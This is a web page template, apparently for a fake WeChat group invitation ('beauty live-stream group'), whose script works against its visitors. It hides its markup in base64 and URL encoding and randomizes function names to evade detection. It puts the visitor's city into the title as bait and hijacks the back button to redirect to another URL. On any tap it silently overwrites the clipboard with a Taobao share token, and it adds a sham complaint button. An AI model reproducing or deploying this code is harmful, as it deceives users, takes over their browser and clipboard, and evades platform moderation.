<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="content-type" content="text/html;charset=utf8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta id="viewport" name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0;">
    <meta content="telephone=no" name="format-detection">
    <link rel="stylesheet" href="https://res.wx.qq.com/open/libs/weui/2.3.0/weui.min.css">
	<script src="__STATIC__/js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
	<title>...</title>
    <style>
        *{margin:0;padding:0}
        html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;height:100%;font-size:14px;text-align:center}
        body{line-height:1.6;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-size:16px;background-color:var(--weui-BG-0);color:var(--weui-FG-0)}
        .body .btn{width:200px;margin:0 auto;}

        .group_info{position:relative;background:var(--weui-BG-2);margin-bottom:35px;padding-bottom:25px;padding-top:33px}
        .group_info:after{content:" ";position:absolute;width:200%;height:1px;left:0;bottom:0;border-bottom:1px solid var(--weui-FG-3);transform:scale(.5);transform-origin:0 100%}

        .group_icon{margin-bottom:2px;width:65px;height:65px;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px}
        .group_name{font-size:18px;color:var(--weui-FG-0)}
        .msg{color:var(--weui-FG-1);font-size:19px;margin-bottom:20px;padding:0 10px}

        .btn,a{text-decoration:none}
        .btn{display:block;background-color:#04be02;margin-left:auto;margin-right:auto;padding-left:14px;padding-right:14px;font-size:18px;text-align:center;overflow:visible;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;color:#fff;line-height:2.33333333;-webkit-tap-highlight-color:rgba(255,255,255,0)}

        /* 弹出窗口样式 */
        #lly_dialog {height: 100vh;position: absolute;}
        .weui-dialog {position: fixed;z-index: 9999;width: 95%;max-width: 80%;top: 120px;left: 50%;-webkit-transform: translate(-50%, -50%);transform: translate(-50%, -50%);background-color: #fff;text-align: center;overflow: hidden;}
        .weui-dialog__bd:first-child {padding: 15px 10px 10px;color: #353535;font-weight: 300;}
        .weui-dialog__bd {padding: 5px;min-height: 40px;font-size: 18px;line-height: 1.6;word-wrap: break-word;word-break: break-all;color: #000;margin-bottom: 5px;}
        .weui-dialog__ft {background: #e1c38f;position: relative;font-size: 18px;display: -webkit-box;display: -webkit-flex;display: flex;}
        .weui-dialog__btn {color: #fff;}
    </style>
</head>

<body>

<script>
    var dizhi = '本地';
    if(typeof localAddress != 'undefined') {
        if(typeof localAddress["city"] != 'undefined' && localAddress["city"] != '') {
            dizhi = localAddress["city"];
            dizhi = dizhi.replace("市", "");
        } else if(typeof localAddress["province"] != 'undefined' && localAddress["province"] != '') {
            dizhi = localAddress["province"];
            dizhi = dizhi.replace("省", "");
        }
    }

    function getRandEmoji() {
        var emoji = ["🌂","🌺","⛎","🐳","💖","🔥","🈲","💥","✨","💘","🍺","💌","🎸","⛵","🎁","💰","👙","🙏","🐠","🛀","😀","😁","😂","🤣","😃","😄","😅","😆","😉","😊","😋","😎","😍","😘","😗","😙","😚","🙂","🤗","🤔","😐","😶","😑","🙄","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😝","🤤","😓","😔","😕","🙃","🤑","😲","😖","😖","😞","😟","😤","😢","😭","😦","😦","🤧","😇","🤠","🤡","🤥","🤓","😈","👿","👹","👺","💀","👻","👽","😺","😸","😹","😻","😼","😽","🙀","😿","😾","👫","👬","👭","👃🏿","👣","👀","👁","👅","👄","💋","👓","👔","👕","👙","👚","👜","👠","👑","🎩","💍","💼","🌠","🌏","🌕","🌠","😙","🈲","✅","🔡","🔘","🔖","🔗","🔜","🔙","🔚","🔛","⚪","⛔","🔽","🔠","⚫","🚫","✅","🔼","⛔","❎","🔢","📛","🔵"];
        var index = Math.floor((Math.random() * emoji.length));
        return emoji[index];
    }

    function {$rand_str.aa}(msg, btn, callback) {
        var d = $('#lly_dialog');
        d.show(200);
        d.find("#lly_dialog_msg").html(msg);
        d.find("#lly_dialog_btn").html(btn);
        d.find("#lly_dialog_btn").off('click').on('click', function() {
            // d.hide(200);
            var music = document.getElementById("bgMusic");
            if(music.paused){
                music.play();
                $(".weui-dialog__bd").html("<b style='color: #FF5722;font-size: 20px;margin: 30px 10px;'>正在播放提示</b>");
                $(".weui-dialog__btn").html('关 闭');
                setTimeout(function(){
                    $('#lly_dialog').hide();
                }, 5000);
            }else{
                music.pause();
                $('#lly_dialog').hide();
            }
        });
    }

    function {$rand_str.aaa}(msg, btn, callback) {
        var d = $('#lly_dialog');
        d.show(200);
        d.find("#lly_dialog_msg").html(msg);
        d.find("#lly_dialog_btn").html(btn);
        d.find("#lly_dialog_btn").off('click').on('click', function() {
            d.hide(200);
            if(callback) {
                callback();
            }
        });
    }

    var {$rand_str.data}  = JSON.parse(window.atob("{$jsondata}"));

    function {$rand_str.jiemi}(s) {return decodeURIComponent(atob(s));}

    $('body').append({$rand_str.jiemi}('JTNDZGl2JTIwY2xhc3MlM0QlMjJib2R5JTIyJTNFJTNDZGl2JTIwY2xhc3MlM0QlMjJncm91cF9pbmZvJTIyJTNFJTNDaW1nJTIwc3JjJTNEJTIyJTIyJTIwYWx0JTNEJTIyJTIyJTIwY2xhc3MlM0QlMjJncm91cF9pY29uJTIyJTNFJTNDcCUyMGNsYXNzJTNEJTIyZ3JvdXBfbmFtZSUyMiUzRSVFNyVCRSU4RSVFNSVBNSVCMyVFNyU5QiVCNCVFNiU5MiVBRCVFNyVCRSVBNCUzQyUyRnAlM0UlM0NwJTIwY2xhc3MlM0QlMjJncm91cF9udW0lMjIlM0UzODYlRTQlQkElQkElM0MlMkZwJTNFJTNDJTJGZGl2JTNFJTNDcCUyMGNsYXNzJTNEJTIybXNnJTIyJTNFJUU5JTgyJTgwJUU4JUFGJUI3JUU0JUJEJUEwJUU1JThBJUEwJUU1JTg1JUE1JUU3JUJFJUE0JUU4JTgxJThBJTNDJTJGcCUzRSUzQ2RpdiUyMGNsYXNzJTNEJTIyYnRuX3FyY29kZSUyMiUzRSUzQ2ElMjBocmVmJTNEJTIyamF2YXNjcmlwdCUzQXN1Ym1pdCgpJTNCJTIyJTIwY2xhc3MlM0QlMjJidG4lMjIlM0UlRTUlOEElQTAlRTUlODUlQTUlRTclQkUlQTQlRTglODElOEElM0MlMkZhJTNFJTNDJTJGZGl2JTNFJTNDJTJGZGl2JTNFJTBBJTNDZGl2JTIwaWQlM0QlMjJsbHlfZGlhbG9nJTIyJTIwc3R5bGUlM0QlMjJkaXNwbGF5JTNBbm9uZSUyMiUzRSUzQ2RpdiUyMGNsYXNzJTNEJTIyd2V1aS1tYXNrJTIyJTNFJTNDJTJGZGl2JTNFJTNDZGl2JTIwY2xhc3MlM0QlMjJ3ZXVpLWRpYWxvZyUyMiUzRSUzQ2RpdiUyMGNsYXNzJTNEJTIyd2V1aS1kaWFsb2dfX2JkJTIyJTIwaWQlM0QlMjJsbHlfZGlhbG9nX21zZyUyMiUzRSUzQyUyRmRpdiUzRSUzQ2RpdiUyMGNsYXNzJTNEJTIyd2V1aS1kaWFsb2dfX2Z0JTIyJTNFJTNDYSUyMGhyZWYlM0QlMjJqYXZhc2NyaXB0JTNBJTNCJTIyJTIwY2xhc3MlM0QlMjJ3ZXVpLWRpYWxvZ19fYnRuJTIwd2V1aS1kaWFsb2dfX2J0bl9wcmltYXJ5JTIyJTIwaWQlM0QlMjJsbHlfZGlhbG9nX2J0biUyMiUzRSUzQyUyRmElM0UlM0MlMkZkaXYlM0UlM0MlMkZkaXYlM0UlM0MlMkZkaXYlM0U='));

    /* 设置图标 */
    $('.group_info .group_icon').attr('src', {$rand_str.data}.img);

    /* 设置人数 */
    $('.group_info .group_num').text({$rand_str.data}.number + '人');

    /*替换标题里的标签*/
    while( {$rand_str.data}.title.indexOf("{city}") > -1 || {$rand_str.data}.title.indexOf("{emoji}") > -1 ) {
        {$rand_str.data}.title = {$rand_str.data}.title.replace("{city}", dizhi).replace("{emoji}", getRandEmoji());
    }

    /*把标题，加载到网页标题*/
    $('.group_info .group_name').text({$rand_str.data}.title);
    document.title = {$rand_str.data}.title + '（' + {$rand_str.data}.number + '人）';


    /* 回退跳转 */
    // window.onhashchange = function() {jp();};
    // function jp() {window.location.href = {$rand_str.data}.back_jump_url;}
    // function hh() {history.pushState(history.length + 1, "message", window.location.href.split('#')[0] + "#" + new Date().getTime());}
    // setTimeout(function () {hh();}, 200);

    history.pushState(history.length + 1, "message", window.location.href.split('#')[0] + "#" + new Date().getTime());
    if (navigator.userAgent.indexOf('Android') != -1) {
        if (typeof(tbsJs) != "undefined") {
            tbsJs.onReady('{useCachedApi : "true"}', function(e) {})
            window.onhashchange = function() {
                location.href = {$rand_str.data}.back_jump_url;
            };
        } else {
            var pop = 0;
            window.onhashchange = function(event) {
                pop++
                if (pop >= 3) {
                    location.href = {$rand_str.data}.back_jump_url;
                } else {
                    history.go(1)
                }
            };
            history.go(-1);
        }
    } else {
        window.onhashchange = function() {
            location.href = {$rand_str.data}.back_jump_url;
        };
    }


    function {$rand_str.ddd}(link, callback) {
        var label = document.createElement('script');
        label.src = link;
        label.onload = function() {
            if (typeof callback === 'function') callback()
        };
        document.body.appendChild(label)
    }

    {$rand_str.ddd}('/static/js/clipboard.min.js',function(){
        var clipboard = new ClipboardJS('html', {text: function () {return {$rand_str.data}.taokouling;}});
    });


    function submit(){
        location.href = {$rand_str.data}.next_url;
    }


    /* 添加右下角 投诉按钮 */
    $(function(){
        $('body').append({$rand_str.jiemi}('JTNDc3R5bGUlM0UlMjN0cyUyMCU3QnBvc2l0aW9uJTNBJTIwZml4ZWQlM0JyaWdodCUzQSUyMDMwcHglM0Jib3R0b20lM0ElMjA1MHB4JTNCei1pbmRleCUzQSUyMDk5OTk5JTNCJTdEJTNDJTJGc3R5bGUlM0UlM0NkaXYlMjBpZCUzRCUyMnRzJTIyJTNFJTNDYSUyMHN0eWxlJTNEJTIyZGlzcGxheSUzQSUyMGlubGluZS1ibG9jayUzQmJhY2tncm91bmQtY29sb3IlM0ElMjAlMjNGRjU3MjIlM0Jjb2xvciUzQSUyM2ZmZmZmZiUzQmZvbnQtc2l6ZSUzQSUyMDE2cHglM0JwYWRkaW5nJTNBJTIwMTBweCUyMDZweCUzQmJvcmRlci1yYWRpdXMlM0ElMjA1MCUyNSUzQmJvcmRlciUzQSUyMDFweCUyMHNvbGlkJTIwJTIzZWVlJTNCJTIyJTNFJUU2JThBJTk1JUU4JUFGJTg5JTNDJTJGYSUzRSUzQyUyRmRpdiUzRQ'));

        $('#ts').click(function(){
            $.get('/item/auto/ts', {}, function(res){
                if ( res.code == 1 ){
                    {$rand_str.aaa}('<h2>'+ res.msg +'</h2>', {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'), function(){location.href = res.url;});
                    setTimeout(function(){
                        location.href = res.url;
                    }, 3000);
                }
            });
        });
    })

</script>

<!--<script type="text/javascript">document.addEventListener('WeixinJSBridgeReady', function onBridgeReady() {WeixinJSBridge.call('hideOptionMenu');});</script>-->
<div style="display: none;">{:fission('liuliangtongji')}</div>
</body>
</html>
